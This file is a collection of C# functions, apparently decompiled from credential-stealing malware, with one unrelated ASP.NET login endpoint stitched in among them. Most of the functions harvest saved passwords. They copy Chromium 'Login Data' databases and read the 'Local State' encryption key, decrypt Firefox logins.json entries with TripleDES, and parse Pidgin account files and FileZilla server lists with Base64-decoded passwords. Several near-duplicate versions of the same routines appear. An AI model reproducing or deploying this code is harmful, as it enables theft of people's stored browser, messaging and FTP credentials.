private static LoginPair ParseAccounts(XmlNode xmlNode) { LoginPair loginPair = new LoginPair(); try { foreach (XmlNode childNode in xmlNode.ChildNodes) { if (childNode.Name == "protocol") { loginPair.Host = childNode.InnerText; } if (childNode.Name == "name") { loginPair.Login = childNode.InnerText; } if (childNode.Name == "password") { loginPair.Password = childNode.InnerText; } } return(loginPair); } catch { return(loginPair); } finally { loginPair.Login = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login); loginPair.Host = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host); loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password); } }
private static List <LoginPair> ParseLogins(string profile, byte[] privateKey) { List <LoginPair> loginPairList = new List <LoginPair>(); try { string tempCopy = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json")); if (!File.Exists(tempCopy)) { return(loginPairList); } foreach (JsonValue jsonValue in (IEnumerable)File.ReadAllText(tempCopy).FromJSON()["logins"]) { Asn1Object asn1Object1 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string str1 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object1.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object1.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string str2 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); LoginPair loginPair = new LoginPair() { Host = string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false), Login = string.IsNullOrEmpty(str1) ? "UNKNOWN" : str1, Password = string.IsNullOrEmpty(str2) ? "UNKNOWN" : str2 }; if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { loginPairList.Add(loginPair); } } } catch { } return(loginPairList); }
// Token: 0x0600028D RID: 653 RVA: 0x0000A30C File Offset: 0x0000850C private static LoginPair ParseAccounts(XmlNode xmlNode) { LoginPair loginPair = new LoginPair(); try { foreach (object obj in xmlNode.ChildNodes) { XmlNode xmlNode2 = (XmlNode)obj; if (xmlNode2.Name == "protocol") { loginPair.Host = xmlNode2.InnerText; } if (xmlNode2.Name == "name") { loginPair.Login = xmlNode2.InnerText; } if (xmlNode2.Name == "password") { loginPair.Password = xmlNode2.InnerText; } } } catch { } finally { loginPair.Login = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login); loginPair.Host = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host); loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password); } return(loginPair); }
// Token: 0x060002E4 RID: 740 RVA: 0x0000E6C0 File Offset: 0x0000C8C0 private static LoginPair ReadData(SqlConnection manager, int row, string chromeKey) { LoginPair loginPair = new LoginPair(); try { if (manager.Fields.Contains("Password_value")) { loginPair.Host = manager.ParseValue(row, "Origin_url").Trim(); loginPair.Login = manager.ParseValue(row, "Username_value").Trim(); loginPair.Password = ChromiumEngine.DecryptChromium(manager.ParseValue(row, "Password_value"), chromeKey); } else if (manager.Fields.Contains("password_value")) { loginPair.Host = manager.ParseValue(row, "origin_url").Trim(); loginPair.Login = manager.ParseValue(row, "username_value").Trim(); loginPair.Password = ChromiumEngine.DecryptChromium(manager.ParseValue(row, "password_value"), chromeKey); } } catch (Exception) { } finally { loginPair.Login = (string.IsNullOrWhiteSpace(loginPair.Login) ? "UNKNOWN" : loginPair.Login); loginPair.Password = (string.IsNullOrWhiteSpace(loginPair.Password) ? "UNKNOWN" : loginPair.Password); loginPair.Host = (string.IsNullOrWhiteSpace(loginPair.Host) ? "UNKNOWN" : loginPair.Host); } return(loginPair); }
private static List <LoginPair> GetCredentials(string profilePath) { List <LoginPair> list = new List <LoginPair>(); try { string text = Path.Combine(profilePath, "Login Data"); if (!File.Exists(text)) { return(list); } string[] array = profilePath.Split(new string[1] { "\\" }, StringSplitOptions.RemoveEmptyEntries); array = array.Take(array.Length - 1).ToArray(); string localStatePath = Path.Combine(string.Join("\\", array), "Local State"); SqlConnection sqlConnection = new SqlConnection(DecryptHelper.CreateTempCopy(text)); sqlConnection.ReadTable("logins"); for (int i = 0; i < sqlConnection.RowLength; i++) { LoginPair loginPair = new LoginPair(); try { loginPair = ReadData(sqlConnection, i, localStatePath); } catch { } if (loginPair.Login.IsNotNull() && loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } return(list); } catch { return(list); } }
// Token: 0x060002C9 RID: 713 RVA: 0x0000CBD0 File Offset: 0x0000ADD0 private static List <LoginPair> ParseLogins(string profile, byte[] privateKey) { List <LoginPair> list = new List <LoginPair>(); try { if (!File.Exists(Path.Combine(profile, "logins.json"))) { return(list); } bool flag; string path = DecryptHelper.TryCreateTemp(Path.Combine(profile, "logins.json"), out flag); foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Asn1Object asn1Object = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); LoginPair loginPair = new LoginPair { Host = (string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false)), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } if (flag) { File.Delete(path); } } catch (Exception) { } return(list); }
private static LoginPair ReadData(SqlConnection manager, int row, string localStatePath) { LoginPair loginPair = new LoginPair(); try { loginPair.Host = manager.ParseValue(row, "origin_url").Trim(); loginPair.Login = manager.ParseValue(row, "username_value").Trim(); loginPair.Password = DecryptChromium(manager.ParseValue(row, "password_value"), localStatePath); return(loginPair); } catch { return(loginPair); } finally { loginPair.Login = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login); loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password); loginPair.Host = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host); } }
private static List <LoginPair> GetCredentials(string profilePath) { List <LoginPair> loginPairList = new List <LoginPair>(); try { string str = Path.Combine(profilePath, "Login Data"); if (!File.Exists(str)) { return(loginPairList); } string[] strArray = profilePath.Split(new string[1] { "\\" }, StringSplitOptions.RemoveEmptyEntries); string localStatePath = Path.Combine(string.Join("\\", ((IEnumerable <string>)strArray).Take <string>(strArray.Length - 1).ToArray <string>()), "Local State"); SqlConnection manager = new SqlConnection(DecryptHelper.CreateTempCopy(str)); manager.ReadTable("logins"); for (int row = 0; row < manager.RowLength; ++row) { LoginPair loginPair = new LoginPair(); try { loginPair = ChromiumEngine.ReadData(manager, row, localStatePath); } catch { } if (loginPair.Login.IsNotNull <string>() && loginPair.Login != "UNKNOWN" && (loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")) { loginPairList.Add(loginPair); } } } catch { } return(loginPairList); }
// Token: 0x060002AC RID: 684 RVA: 0x0000BB40 File Offset: 0x00009D40 private static LoginPair ParseRecent(XmlNode xmlNode) { LoginPair loginPair = new LoginPair(); try { foreach (object obj in xmlNode.ChildNodes) { XmlNode xmlNode2 = (XmlNode)obj; if (xmlNode2.Name == "Host") { loginPair.Host = xmlNode2.InnerText; } if (xmlNode2.Name == "Port") { loginPair.Host = loginPair.Host + ":" + xmlNode2.InnerText; } if (xmlNode2.Name == "User") { loginPair.Login = xmlNode2.InnerText; } if (xmlNode2.Name == "Pass") { loginPair.Password = DecryptHelper.Base64Decode(xmlNode2.InnerText); } } } catch { } finally { loginPair.Login = (string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login); loginPair.Host = (string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host); loginPair.Password = (string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password); } return(loginPair); }
// Token: 0x0600028C RID: 652 RVA: 0x0000A258 File Offset: 0x00008458 private static List <LoginPair> ParseCredentials(string Path) { List <LoginPair> list = new List <LoginPair>(); try { XmlTextReader reader = new XmlTextReader(Path); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(reader); foreach (object obj in xmlDocument.DocumentElement.ChildNodes) { LoginPair loginPair = Pidgin.ParseAccounts((XmlNode)obj); if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } } catch { } return(list); }
private static List <LoginPair> ParseCredentials(string Path) { List <LoginPair> loginPairList = new List <LoginPair>(); try { XmlTextReader xmlTextReader = new XmlTextReader(Path); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load((XmlReader)xmlTextReader); foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes) { LoginPair accounts = Pidgin.ParseAccounts(childNode); if (accounts.Login != "UNKNOWN" && accounts.Host != "UNKNOWN") { loginPairList.Add(accounts); } } } catch { } return(loginPairList); }
private static List <LoginPair> ParseCredentials(string Path) { List <LoginPair> loginPairList = new List <LoginPair>(); try { XmlTextReader xmlTextReader = new XmlTextReader(Path); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load((XmlReader)xmlTextReader); foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes) { LoginPair recent = FileZilla.ParseRecent(childNode); if (recent.Login != "UNKNOWN" && recent.Host != "UNKNOWN") { loginPairList.Add(recent); } } } catch { } return(loginPairList); }
public string Login([FromBody] LoginPair login) { if (login.Username == null || login.Password == null) { return(""); } User user = database.GetUser(login.Username); if (user == null) { // Don't return a token if they use an invalid login and handle // issue on the client side. return(""); } if (DataHandler.IsCorrectPassword(login.Password, user)) { return(DataHandler.EncodeJWT(user.ID, user.Status)); } else { return(""); } }
private static List <LoginPair> ParseLogins(string profile, byte[] privateKey) { List <LoginPair> list = new List <LoginPair>(); try { string path = DecryptHelper.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { { foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Asn1Object asn1Object = Asn1Factory.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false))); Asn1Object asn1Object2 = Asn1Factory.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(TripleDESHelper.Decrypt(privateKey, asn1Object2.Objects[0].Objects[1].Objects[1].ObjectData, asn1Object2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); LoginPair loginPair = new LoginPair { Host = (string.IsNullOrEmpty(item["hostname"].ToString(saving: false)) ? "UNKNOWN" : item["hostname"].ToString(saving: false)), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (loginPair.Login != "UNKNOWN" && loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } return(list); } } return(list); } catch { return(list); } }
private static LoginPair ParseRecent(XmlNode xmlNode) { LoginPair loginPair = new LoginPair(); try { foreach (XmlNode childNode in xmlNode.ChildNodes) { if (childNode.Name == "Host") { loginPair.Host = childNode.InnerText; } if (childNode.Name == "Port") { loginPair.Host = loginPair.Host + ":" + childNode.InnerText; } if (childNode.Name == "User") { loginPair.Login = childNode.InnerText; } if (childNode.Name == "Pass") { loginPair.Password = DecryptHelper.Base64Decode(childNode.InnerText); } } } catch { } finally { loginPair.Login = string.IsNullOrEmpty(loginPair.Login) ? "UNKNOWN" : loginPair.Login; loginPair.Host = string.IsNullOrEmpty(loginPair.Host) ? "UNKNOWN" : loginPair.Host; loginPair.Password = string.IsNullOrEmpty(loginPair.Password) ? "UNKNOWN" : loginPair.Password; } return(loginPair); }
private static List <LoginPair> ParseCredentials(string Path) { List <LoginPair> list = new List <LoginPair>(); try { XmlTextReader reader = new XmlTextReader(Path); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(reader); foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes) { LoginPair loginPair = ParseRecent(childNode); if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN") { list.Add(loginPair); } } return(list); } catch { return(list); } }
// Token: 0x060002E0 RID: 736 RVA: 0x0000DD64 File Offset: 0x0000BF64 private static List <LoginPair> GetCredentials(string profilePath) { List <LoginPair> list = new List <LoginPair>(); try { string text = Path.Combine(profilePath, "Login Data"); if (!File.Exists(text)) { return(list); } string text2 = string.Empty; string text3 = string.Empty; if (string.IsNullOrWhiteSpace(text2)) { try { string[] array = profilePath.Split(new string[] { "\\" }, StringSplitOptions.RemoveEmptyEntries); array = array.Take(array.Length - 1).ToArray <string>(); text3 = Path.Combine(string.Join("\\", array), "Local State"); if (!File.Exists(text3)) { text3 = Path.Combine(profilePath, "Local State"); } if (File.Exists(text3)) { try { bool flag; string path = DecryptHelper.TryCreateTemp(text3, out flag); text2 = File.ReadAllText(path).FromJSON()["os_crypt"]["encrypted_key"].ToString(false); if (flag) { File.Delete(path); } } catch (Exception) { } } } catch { } } bool flag2; string text4 = DecryptHelper.TryCreateTemp(text, out flag2); try { SqlConnection sqlConnection = new SqlConnection(text4); sqlConnection.ReadTable("logins"); for (int i = 0; i < sqlConnection.RowLength; i++) { LoginPair loginPair = new LoginPair(); try { loginPair = ChromiumEngine.ReadData(sqlConnection, i, text2); } catch { } if (loginPair.Password != "UNKNOWN") { list.Add(loginPair); } } } catch (Exception) { } if (flag2) { File.Delete(text4); } } catch (Exception) { } return(list); }